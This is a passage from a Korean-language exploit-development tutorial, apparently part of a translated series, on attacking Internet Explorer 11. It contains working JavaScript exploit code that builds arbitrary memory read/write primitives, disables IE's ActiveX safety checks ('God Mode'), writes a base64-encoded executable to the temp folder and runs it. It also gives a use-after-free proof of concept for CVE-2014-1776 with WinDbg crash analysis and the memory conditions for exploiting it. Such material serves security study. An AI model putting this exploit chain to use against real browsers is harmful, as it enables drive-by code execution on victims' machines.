-1) { alert("Can't find the modified Array"); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } function get_addr(obj) { a[idx+2][0] = obj; return read(base_addr + 0x10000); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50 // v // 04ab2d50 151f1ec0 00000000 00000000 // 6f5569ce 00000000 0085f5d8 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x2d50; mshtml = read(addr + 0x10) - 0x1569ce; var old1 = read(mshtml+0xebcd98+0x10); var old2 = read(mshtml+0xebcd98+0x14); function GodModeOn() { write(mshtml+0xebcd98+0x10, jscript9+0x155e19); write(mshtml+0xebcd98+0x14, jscript9+0x155d7d); } function GodModeOff() { write(mshtml+0xebcd98+0x10, old1); write(mshtml+0xebcd98+0x14, old2); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } GodModeOn(); var shell = new ActiveXObject("WScript.shell"); GodModeOff(); fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); alert("Done"); })(); </script> </head> <body> </body> </html> | cs |
생략된 runcalc는 아래 링크를 통해 다운로드 받을 수 있습니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code5.zip
코드를 테스트 해보시면 정상적으로 동작할 것 입니다.
UAF 버그
아래 링크에서 찾은 UAF 버그를 사용하도록 하겠습니다.
- https://withgit.com/hdarwin89/codeengn-2014-ie-1day-case-study/tree/master
POC는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | <html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script> window.onload = function (){ var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" } head.firstChild.nextSibling.disabled = head } </script> </head> <body><v:group id="vml" style="width:500pt;"><div></div></group></body> | cs |
gflag를 이용해 iexplore.exe에 HPA와 UST를 설정합니다.
IE 에서 페이지를 열면 다음과 같은 위치에서 충돌이 발생합니다.
MSHTML!CMarkup::IsConnectedToPrimaryMarkup:
0aa9a244 8b81a4000000 mov eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=???????? <------------ crash!
0aa9a24a 56 push esi
0aa9a24b 85c0 test eax,eax
0aa9a24d 0f848aaa0800 je MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)
0aa9a253 8b400c mov eax,dword ptr [eax+0Ch]
0aa9a256 85c0 test eax,eax
ECX에 의해 해제된 객체가 가리켜지고 있습니다. 객체의 크기를 구해보도록 하겠습니다.
0:007> ? 1000 - (@ecx & fff)
Evaluate expression: 1064 = 00000428
따라서, 객체의 크기는 0x428 바이트 입니다.
아래는 스택 트레이스 입니다.
0:007> k 10
ChildEBP RetAddr
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a
충돌이 발생하는 정확한 지점으로 breakpoint를 설정할 필요가 있습니다. HPA 설정을 끄게 되면 ECX는 우리가 선택한 문자열을 가리키게 됩니다.
차단된 컨텐츠 허용을 하기 전에 아래와 같이 breakpoint를 설정합니다.
bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup
이 breakpoint는 충돌이 일어나기 전에 많이 발생됩니다. 또한, IE에서 페이지를 클릭하면 breakpoint는 더 발생 할 것입니다. IE에서 차단된 컨텐츠 허용바로 직후에 호출되는 부모 호출에 초기 breakpoint를 설정하는 것이 더 나아 보입니다. 아래 breakpoint가 완벽해 보입니다.
bp MSHTML!CBase::put_BoolHelper
breakpoint가 동작하게 되면 다음 breakpoint도 설정합니다.
bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup
충돌이 일어나기 직전까지 마지막 breakpoint는 3번 동작하게 됩니다. 따라서, 아래와 같이 단일 breakpoint를 이용할 수 있습니다.
bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"
해보시면 모든것이 완벽히 동작하는 것을 볼 수 있습니다.
이제 ECX가 우리의 문자열을 가리키게 할 수 있습니다. 하지만 진행하기 전에 HPA와 UST 설정을 비활성화 시켜주세요.
아래는 수정된 자바스크립트 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script> window.onload = function (){ var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" var elem = document.createElement("div"); elem.className = new Array(0x428/2).join("a"); } head.firstChild.nextSibling.disabled = head } </script> </head> <body><v:group id="vml" style="width:500pt;"><div></div></group></body> </html> | cs |
아래 breakpoint를 기억해주세요.
bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"
breakpoint가 동작하면 다음과 비슷한 화면을 보게 될 것 입니다.
UAF 버그 (2)
IDA에서 이 버그를 분석해보도록 하겠습니다.
여기서는 문자열의 콘텐츠를 어떻게 찾는지 하나하나 설명하지 않겠습니다. 왜냐하면 이 작업은 매우 지루하고 배울게 많이 없기 때문입니다. 먼저 IDA 없이도 따라오실수 있도록 관련 그래프를 보여드리고 UAF 버그를 익스플로잇과 선택된 배열의 크기 수정을 위한 전체 구조를 보여드리도록 하겠습니다.
IDA에서 mshtml을 열고 Ctrl+P (jump to function)을 눌릅니다. 이 후, Search를 클릭하고 CMarkup::IsConnectedToPrimaryMarkup을 칩니다. 함수를 더블 클릭하면 충돌 지점을 확인할 수 있습니다.
배경이 칠해진 노드는 코드에서 실행된 것을 의미합니다. 분홍 노드는 충돌 지점을 가지고 있고 하늘색은 덮어 써진 명령을 가지는데 이는 선택한 배열의 크기를 수정할 때 사용할 것입니다.
IsConnectedToPrimaryMarkup의 시그너처를 클릭하고 Ctrl + X를 눌러 CMarkup::OnCssChange를 선택합니다. 아래는 OnCssChange의 그래프 입니다.
아래는 CMarkup::IsPendingPrimaryMarkup의 그래프 입니다.
다음은 CMarkup::Root의 그래프 입니다.
다음은 CElement::EnsureFormatCacheChange의 그래프 입니다.
그리고 마지막으로 아래는 CView::AddInvalidationTask의 그래프로 이 함수는 덮어 쓴 명령 (inc)을 가지고 있습니다.
제가 만든 전체 구조는 다음과 같습니다.
Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
[Y+208h] is 0
[Y+630h+248h] = [Y+878h] val to inc! <======
[Y+630h+380h] = [Y+9b0h] has bit 16 set
[Y+630h+3f4h] = [Y+0a24h] has bit 7 set
[Y+1044h] is 0
U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
[W+0ah] has bit 1 set & bit 4 unset
[W+44h] has bit 7 set
[W+5ch] is writable
[ptr+198h] has bit 12 set
처음 2 줄을 보도록 하겠습니다.
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
[Y+208h] is 0
ptr은 danling pointer (우리의 문자열을 가리키고 있는) 입니다. 2 줄의 의미는 X가 ptr + 0x0a4의 값일 때, Y는 X+0x0c의 값이 되고, 이는 [Y + 0x208]이 0 이 됨을 뜻합니다.
구조를 이해하는데 시간을 들이셔야 하고 약간의 시행착오도 필요합니다. 목적은 명령을 덮어 쓰고 어떤 충돌없이 자바스크립트 코드를 재개할 수 있는 실행 경로를 도출하는 구조를 찾는 것입니다.
실행 경로에 반드시 있어야 할 노드 식별부터 시작하는게 좋습니다. 그 후, 실행 경로에 속하는 노드들에 대한 조건을 찾을 수 있습니다. 이 작업들이 모두 끝낫다면 그래프들을 돌아 다니면서 어떤 노드가 반드시 필요한 노드에 연결될 수 있는 적절한 노드인지 찾아 다닐 수 있습니다.
위 구조에 대해 그래프와 실행 경로를 보면서 맞는지 확인하시기 바랍니다.
'Projects > Exploit Development' 카테고리의 다른 글
[파이썬 익스 개발] 퍼징 로그부터 익스 개발 까지 (1) | 2018.02.16 |
---|---|
[익스플로잇 개발] 19. IE 11 (Part 2) (3) | 2016.07.22 |
[익스플로잇 개발] 17. IE 10 (Use-After-Free bug) (0) | 2016.07.22 |
[익스플로잇 개발] 16. IE 10 (God Mode 2) (0) | 2016.07.22 |
[익스플로잇 개발] 15. IE 10 (God Mode 1) (0) | 2016.07.22 |
- Total
- Today
- Yesterday
- IE 11 UAF
- Mona 2
- Windows Exploit Development
- 쉘 코드 작성
- data mining
- 2015 School CTF
- IE UAF
- 힙 스프레잉
- WinDbg
- IE 10 리버싱
- IE 10 익스플로잇
- TenDollar CTF
- 윈도우즈 익스플로잇 개발
- School CTF Write up
- TenDollar
- IE 11 exploit development
- shellcode
- IE 10 God Mode
- expdev 번역
- Use after free
- UAF
- 데이터 마이닝
- 쉘 코드
- CTF Write up
- IE 10 Exploit Development
- 2014 SU CTF Write UP
- School CTF Writeup
- shellcode writing
- heap spraying
- IE 11 exploit
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |